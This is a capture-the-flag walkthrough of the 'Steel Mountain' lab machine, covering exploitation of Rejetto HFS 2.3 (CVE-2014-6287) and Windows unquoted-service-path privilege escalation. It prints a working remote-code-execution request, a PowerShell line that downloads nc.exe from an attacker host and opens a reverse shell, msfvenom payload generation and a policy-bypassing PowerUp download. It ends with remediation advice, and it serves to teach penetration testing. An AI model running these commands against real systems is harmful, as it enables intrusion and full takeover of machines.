← Back to all writeups
CTFroomEasy / IntermediateOS: Windows ServerTarget IP: 10.10.155.43

CTFroom: Steel Mountain — Rejetto HFS Exploitation & Windows Unquoted Service Path

Exploiting Rejetto HTTP File Server 2.3 (CVE-2014-6287) to achieve initial foothold on Windows, running PowerUp.ps1 to uncover an Unquoted Service Path vulnerability, and replacing the service binary to gain SYSTEM authority.

Published: 2026-03-22·Est. 11 min read·Author: GomezGani Shaba
WindowsRejetto HFSCVE-2014-6287PowerUp.ps1Unquoted Service PathWindows PrivEsc

Challenge Overview

Steel Mountain is a premier Windows machine walkthrough. It demonstrates targeting common third-party Windows software (Rejetto HTTP File Server) to obtain an initial PowerShell shell, followed by privilege escalation through one of the most classic Windows misconfigurations: Unquoted Service Paths.


Phase 1: Service Enumeration

bashterminal / script
nmap -sV -sC -p- --min-rate 3000 -oN nmap_steel.txt 10.10.155.43

Key services identified:

  • 80/tcp: Microsoft IIS httpd 8.5
  • 135/tcp, 139/tcp, 445/tcp: Microsoft Windows RPC & SMB
  • 8080/tcp: HttpFileServer httpd 2.3 (Rejetto HTTP File Server)
  • Visiting http://10.10.155.43:8080/ displays HttpFileServer 2.3.


    Phase 2: Vulnerability Analysis (CVE-2014-6287)

    Rejetto HFS version 2.3 is vulnerable to CVE-2014-6287, a Remote Code Execution vulnerability caused by improper handling of null bytes in search parameters.

    We use an unauthenticated Python exploit or send a crafted HTTP GET request:

    httpterminal / script
    GET /?search=%00{.+exec|cmd.exe+/c+<COMMAND>.} HTTP/1.1
    Host: 10.10.155.43:8080

    We stage a nc.exe (Netcat for Windows) binary on our Python HTTP server:

    bashterminal / script
    python3 -m http.server 80

    We execute a PowerShell command via the HFS vulnerability to download nc.exe and initiate a reverse shell:

    powershellterminal / script
    powershell.exe -c "(New-Object System.Net.WebClient).DownloadFile('http://10.8.x.x/nc.exe','C:\Users\bill\AppData\Local\Temp\nc.exe'); Start-Process 'C:\Users\bill\AppData\Local\Temp\nc.exe' -ArgumentList '10.8.x.x 4444 -e cmd.exe'"

    On our Netcat listener:

    textterminal / script
    connect to [10.8.x.x] from (UNKNOWN) [10.10.155.43] 49214
    Microsoft Windows [Version 6.3.9600]
    C:UsersillAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup> whoami
    steelmountainill

    User flag recovered from C:\Users\bill\Desktop\user.txt.


    Phase 3: Enumerating Windows Privilege Escalation with PowerUp.ps1

    To identify Windows privilege escalation vectors, we transfer PowerUp.ps1 (part of the PowerSploit suite):

    powershellterminal / script
    powershell -ep bypass -c "(New-Object System.Net.WebClient).DownloadFile('http://10.8.x.x/PowerUp.ps1','C:\Users\bill\Desktop\PowerUp.ps1')"

    We execute the audit suite:

    powershellterminal / script
    powershell -ep bypass
    . .PowerUp.ps1
    Invoke-AllChecks

    PowerUp identifies an Unquoted Service Path vulnerability in a third-party service:

    textterminal / script
    ServiceName    : AdvancedSystemCareService9
    Path           : C:Program Files (x86)IObitAdvanced SystemCareASCService.exe
    ModifiablePath : C:Program Files (x86)IObit
    CanRestart     : True

    Phase 4: Exploiting the Unquoted Service Path

    How the Vulnerability Works:

    When Windows starts a service whose path contains spaces and is not wrapped in quotation marks, the Windows Service Control Manager interprets spaces as argument delimiters.

    For the path:

    C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe

    Windows searches for executable files in this order:

  • C:\Program.exe
  • C:\Program Files (x86)\IObit\Advanced.exe
  • C:\Program Files (x86)\IObit\Advanced SystemCare\ASCService.exe
  • Because our user bill has write permissions inside C:\Program Files (x86)\IObit\, we can drop a malicious payload named `Advanced.exe`!

    We generate our reverse shell payload with msfvenom:

    bashterminal / script
    msfvenom -p windows/shell_reverse_tcp LHOST=10.8.x.x LPORT=9999 -f exe -o Advanced.exe

    We transfer Advanced.exe to the target:

    powershellterminal / script
    powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.8.x.x/Advanced.exe','C:\Program Files (x86)\IObit\Advanced.exe')"

    Phase 5: Triggering Service Execution to SYSTEM

    We start our listener on port 9999:

    bashterminal / script
    nc -lvnp 9999

    We restart the vulnerable service using the Windows command line:

    cmdterminal / script
    sc stop AdvancedSystemCareService9
    sc start AdvancedSystemCareService9

    When the service starts, Windows encounters our Advanced.exe and executes it as NT AUTHORITY\SYSTEM:

    textterminal / script
    connect to [10.8.x.x] from (UNKNOWN) [10.10.155.43] 49302
    Microsoft Windows [Version 6.3.9600]
    C:Windowssystem32> whoami
    nt authoritysystem

    We are now SYSTEM. We navigate to C:\Users\Administrator\Desktop and collect root.txt.


    Defense Remediation

  • Quote All Service Paths in the Registry: Ensure all ImagePath entries in HKLM\SYSTEM\CurrentControlSet\Services are surrounded by quotes: "C:\Program Files (x86)\...\ASCService.exe".
  • Restrict Folder ACLs: Ensure standard users do not possess Write or Modify permissions on service application directories.
  • Decommission Obsolete Software: Remove legacy services and file servers that are no longer actively maintained.